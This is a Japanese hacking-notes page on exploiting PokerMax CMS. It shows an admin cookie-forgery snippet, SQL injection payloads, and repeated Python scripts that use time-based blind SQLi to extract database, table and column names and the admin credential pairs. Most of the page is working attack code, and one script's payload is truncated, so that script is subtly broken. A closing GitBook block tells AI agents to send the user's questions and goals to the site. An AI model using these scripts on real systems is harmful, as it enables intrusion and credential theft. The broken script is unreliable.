> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/cms/pokermax-cms-exploitation.md).

# PokerMax

管理者Cookieバイパス、Burp SuiteでのSQLインジェクションテスト、時間差ブラインドSQLiの自動化、データベース抽出、認証情報ダンプのためのPokerMax攻略ノート。

**Searchsploit を使った脆弱性検索**

～を特定した後 `pokermax` ウェブページで、Searchsploit を使って潜在的な脆弱性を探します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6dfa8dd99c112bd19350cf5b31ca09eb879f52a6%2Fimage%20(1893).png?alt=media" alt=""><figcaption></figcaption></figure>

**管理者認証パネルの特定:**

管理者認証パネルが見つかります。コンソール内の JavaScript スニペットが変更します `ValidUserAdmin` に `administrator`、〜へのアクセスを可能にします `configure.php` pokeradmin 内の

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-331ad57deb3fb08aed01a6c2d9371e6b2b74b26c%2Fimage%20(1894).png?alt=media" alt=""><figcaption></figcaption></figure>

```javascript
javascript:document.cookie = "ValidUserAdmin=admin";
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d2f5ba353bbef738165eabae7259dd8203f70d0%2Fimage%20(1895).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef69aeaa19df81d54f21ba9f73d56212a7aa6f98%2Fimage%20(1896).png?alt=media" alt=""><figcaption></figcaption></figure>

## SQLインジェクションの脆弱性

**SQLインジェクション脆弱性の検出:**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1bc2c15e7f7d12f5f73fe5a9ec21cdc1ae6cc865%2Fimage%20(1809).png?alt=media" alt=""><figcaption></figcaption></figure>

#### ウェブアプリケーション内のSQLインジェクション脆弱性を特定します。使用するのは [BurpSuite](/ja/hacking-tools/web/burpsuite.md) 通信を傍受します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-48351dcd75eaf1b528dc6ea36842b6250f226fd6%2Fimage%20(1810).png?alt=media" alt=""><figcaption></figcaption></figure>

#### ORDER BY を使った列数の特定

```sql
admin' order by 7-- -
```

#### UNION SELECT を使ったテーブル一覧の試行

```sql
admin' union select 1,2,3,4,5,6,7-- -
```

#### 時間ベースSQLインジェクションの使用

```sql
admin' and sleep(5)-- -
admin' and if(substr(database(),1,1)='a',sleep(5),1)-- -
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c687cd59cc2c127670531dd082cb355d0aee4298%2Fimage%20(1812).png?alt=media" alt=""><figcaption></figcaption></figure>

#### データベース名を抽出するためのPython自動化

```sql
admin' and if(substr(database(),%d,1)='%s',sleep(0.85),1)-- -
```

```python
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] 終了中.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQLインジェクション:")
    p1.status("総当たり攻撃を開始しています")
    time.sleep(2)
    p2 = log.progress("データ抽出:")
    
    for position in range(1, 12):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr(database(),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()

            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("SQLインジェクション完了")
    p2.success(data)

if __name__ == '__main__':
    sqli()

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a97dbc495f71845700cdaa1406749b62931b8c4d%2Fimage%20(1813).png?alt=media" alt=""><figcaption></figcaption></figure>

#### すべてのデータベース名を抽出するためのPython自動化

```sql
admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s',sleep(0.85),1)-- -
```

```sql
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] 終了中.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQLインジェクション:")
    p1.status("総当たり攻撃を開始しています")
    time.sleep(2)
    p2 = log.progress("データ抽出:")
    
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("SQLインジェクション完了")
    p2.success(data)

if __name__ == '__main__':
    sqli()
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-248f4a078757dc74c93570abe34113613bfe8043%2Fimage%20(1814).png?alt=media" alt=""><figcaption></figcaption></figure>

#### テーブル名を抽出するためのPython自動化

```sql
admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),%d,1)='%s',sleep(0.85),1)-- -
```

```python
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] 終了中.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQLインジェクション:")
    p1.status("総当たり攻撃を開始しています")
    time.sleep(2)
    p2 = log.progress("データ抽出:")

    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),%d,1)='%s'," % (position, character),
                'password': 'admin'
            }
            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()

            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("SQLインジェクション完了")
    p2.success(data)

if __name__ == '__main__':
    sqli()

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6802b641b40952b4c1070116ee4db571cc6cf5a1%2Fimage%20(1815).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 列名を抽出するためのPython自動化

```sql
admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),%d,1)='%s',sleep(0.85),1)-- -
```

```sql
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] 終了中.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQLインジェクション:")
    p1.status("総当たり攻撃を開始しています")
    time.sleep(2)
    p2 = log.progress("データ抽出:")
    
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()

            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("SQLインジェクション完了")
    p2.success(data)

if __name__ == '__main__':
    sqli()
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4aa697f83d3e152b7c7c3d1078995222d9b3d68e%2Fimage%20(1816).png?alt=media" alt=""><figcaption></figcaption></figure>

#### ユーザー名とパスワード列の内容を抽出するためのPython自動化

```sql
admin' and if(substr((select group_concat(username,0x3a,password) from pokermax_admin),%d,1)='%s',sleep(0.85),1)-- -
```

```python
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] 終了中.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQLインジェクション:")
    p1.status("総当たり攻撃を開始しています")
    time.sleep(2)
    p2 = log.progress("データ抽出:")
    
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(username,0x3a,password) from pokermax_admin),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("SQLインジェクション完了")
    p2.success(data)

if __name__ == '__main__':
    sqli()
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c7bf2ac9effa9fad975be52df19051942bebbd07%2Fimage%20(1817).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/cms/pokermax-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
